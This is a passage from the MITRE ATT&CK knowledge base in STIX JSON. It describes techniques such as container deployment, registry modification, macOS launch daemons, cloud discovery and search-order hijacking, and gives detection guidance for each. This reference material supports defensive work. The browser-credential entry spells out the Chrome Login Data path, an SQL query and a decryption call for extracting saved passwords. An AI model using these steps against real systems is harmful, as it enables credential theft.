Process Creation"],"x_mitre_defense_bypassed":["User Mode Signature Validation","Digital Certificate Validation","Application Control"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:06:17.124Z","name":"Deploy Container","description":"Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)\n\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_contributors":["Pawan Kinger, @kingerpawan, Trend Micro","Alfredo Oliveira, Trend Micro","Idan Frimark, Cisco","Center for Threat-Informed Defense (CTID)","Magno Logan, @magnologan, Trend Micro","Ariel Shuper, Cisco","Vishwas Manral, McAfee","Yossi Weizman, Azure Defender Research Team","Joas Antonio dos Santos, @C0d3Cr4zy"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Containers"],"x_mitre_version":"1.3","x_mitre_data_sources":["Container: Container Start","Application Log: Application Log Content","Pod: Pod Creation","Container: Container Creation","Pod: Pod Modification"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92","created":"2021-03-29T16:51:26.020Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1610","external_id":"T1610"},{"source_name":"AppSecco Kubernetes Namespace Breakout 2020","description":"Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1. Retrieved January 16, 2024.","url":"https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216"},{"source_name":"Aqua Build Images on Hosts","description":"Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.","url":"https://blog.aquasec.com/malicious-container-image-docker-container-host"},{"source_name":"Docker Containers API","description":"Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021.","url":"https://docs.docker.com/engine/api/v1.41/#tag/Container"},{"source_name":"Kubernetes Workload Management","description":"Kubernetes. (n.d.). Workload Management. Retrieved March 28, 2024.","url":"https://kubernetes.io/docs/concepts/workloads/controllers/"},{"source_name":"Kubeflow Pipelines","description":"The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021.","url":"https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/"},{"source_name":"Kubernetes Dashboard","description":"The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021.","url":"https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Walker Johnson"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59","type":"attack-pattern","created":"2017-05-31T21:31:17.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1107","url":"https://attack.mitre.org/techniques/T1107"},{"url":"http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/","description":"Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.","source_name":"Trend Micro APT Attack Tools"}],"modified":"2020-01-31T12:36:39.086Z","name":"File Deletion","description":"Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Host forensic analysis"],"x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Itzik Kotler, SafeBreach"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1145","url":"https://attack.mitre.org/techniques/T1145"},{"url":"https://en.wikipedia.org/wiki/Public-key_cryptography","description":"Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.","source_name":"Wikipedia Public Key Crypto"},{"url":"https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf","description":"Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The Masked APT. Retrieved July 5, 2017.","source_name":"Kaspersky Careto"},{"url":"https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/","description":"Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia – Game Over. Retrieved July 5, 2017.","source_name":"Palo Alto Prince of Persia"}],"modified":"2020-02-18T16:51:57.775Z","name":"Private Keys","description":"Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2023-08-14T19:19:54.148Z","name":"Modify Registry","description":"Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Bartosz Jerzman","Travis Smith, Tripwire","David Lu, Tripwire"],"x_mitre_deprecated":false,"x_mitre_detection":"Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.4","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Process: OS API Execution","Network Traffic: Network Traffic Flow","Command: Command Execution","Windows Registry: Windows Registry Key Deletion","Windows Registry: Windows Registry Key Creation","Process: Process Creation"],"x_mitre_defense_bypassed":["Host forensic analysis"],"type":"attack-pattern","id":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","created":"2017-05-31T21:31:23.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1112","external_id":"T1112"},{"source_name":"Microsoft Reg","description":"Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.","url":"https://technet.microsoft.com/en-us/library/cc732643.aspx"},{"source_name":"Microsoft Remote","description":"Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.","url":"https://technet.microsoft.com/en-us/library/cc754820.aspx"},{"source_name":"Microsoft 4657 APR 2017","description":"Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.","url":"https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657"},{"source_name":"SpectorOps Hiding Reg Jul 2017","description":"Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.","url":"https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353"},{"source_name":"Microsoft Reghide NOV 2006","description":"Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.","url":"https://docs.microsoft.com/sysinternals/downloads/reghide"},{"source_name":"Microsoft RegDelNull July 2016","description":"Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.","url":"https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull"},{"source_name":"TrendMicro POWELIKS AUG 2014","description":"Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-30T21:01:48.453Z","name":"Launch Daemon","description":"Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.\n\nSome legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists)\n\n","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["macOS"],"x_mitre_version":"1.2","x_mitre_data_sources":["Process: Process Creation","File: File Creation","File: File Modification","Service: Service Modification","Command: Command Execution","Service: Service Creation"],"x_mitre_effective_permissions":["root","Administrator"],"x_mitre_permissions_required":["Administrator"],"type":"attack-pattern","id":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","created":"2020-01-17T19:23:15.227Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1543/004","external_id":"T1543.004"},{"source_name":"AppleDocs Launch Agent Daemons","description":"Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.","url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"},{"source_name":"Methods of Mac Malware Persistence","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"},{"source_name":"launchd Keywords for plists","description":"Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021.","url":"https://www.real-world-systems.com/docs/launchdPlist.1.html"},{"source_name":"WireLurker","description":"Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.","url":"https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"},{"source_name":"OSX Malware Detection","description":"Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.","url":"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf"},{"source_name":"LaunchDaemon Hijacking","description":"Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.","url":"https://bradleyjkemp.dev/post/launchdaemon-hijacking/"},{"source_name":"sentinelone macos persist Jun 2019","description":"Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.","url":"https://www.sentinelone.com/blog/how-malware-persists-on-macos/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0"},{"modified":"2024-09-30T13:28:37.415Z","name":"Cloud Infrastructure Discovery","description":"An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket’s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Regina Elwell","Praetorian","Isif Ibrahima, Mandiant"],"x_mitre_deprecated":false,"x_mitre_detection":"Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users and enumerations from unknown or malicious IP addresses. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["IaaS"],"x_mitre_version":"1.3","x_mitre_data_sources":["Instance: Instance Enumeration","Cloud Storage: Cloud Storage Enumeration","Volume: Volume Enumeration","Snapshot: Snapshot Enumeration"],"type":"attack-pattern","id":"attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d","created":"2020-08-20T17:51:25.671Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1580","external_id":"T1580"},{"source_name":"Expel IO Evil in AWS","description":"A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.","url":"https://expel.io/blog/finding-evil-in-aws/"},{"source_name":"AWS Head Bucket","description":"Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022.","url":"https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html"},{"source_name":"AWS Get Public Access Block","description":"Amazon Web Services. (n.d.). Retrieved May 28, 2021.","url":"https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html"},{"source_name":"AWS Describe DB Instances","description":"Amazon Web Services. (n.d.). Retrieved May 28, 2021.","url":"https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html"},{"source_name":"Amazon Describe Instance","description":"Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.","url":"https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html"},{"source_name":"Amazon Describe Instances API","description":"Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.","url":"https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html"},{"source_name":"Google Compute Instances","description":"Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.","url":"https://cloud.google.com/sdk/gcloud/reference/compute/instances/list"},{"source_name":"Mandiant M-Trends 2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.","url":"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"},{"source_name":"Microsoft AZ CLI","description":"Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.","url":"https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"},{"source_name":"Malwarebytes OSINT Leaky Buckets - Hioureas","description":"Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022.","url":"https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-15T14:13:45.294Z","name":"Credentials from Web Browsers","description":"Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Ryan Benson, Exabeam","Barry Shteiman, Exabeam","Sylvain Gil, Exabeam","RedHuntLabs, @redhuntlabs"],"x_mitre_deprecated":false,"x_mitre_detection":"Identify web browser files that contain credentials such as Google Chrome’s Login Data database file: AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","Process: Process Access","File: File Access","Process: OS API Execution"],"type":"attack-pattern","id":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","created":"2020-02-12T18:57:36.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1555/003","external_id":"T1555.003"},{"source_name":"GitHub Mimikittenz July 2016","description":"Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.","url":"https://github.com/putterpanda/mimikittenz"},{"source_name":"Talos Olympic Destroyer 2018","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"},{"source_name":"Microsoft CryptUnprotectData April 2018","description":"Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.","url":"https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata"},{"source_name":"Proofpoint Vega Credential Stealer May 2018","description":"Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign"},{"source_name":"FireEye HawkEye Malware July 2017","description":"Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T15:25:57.059Z","name":"Path Interception by Search Order Hijacking","description":"Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Stefan Kanthak"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral 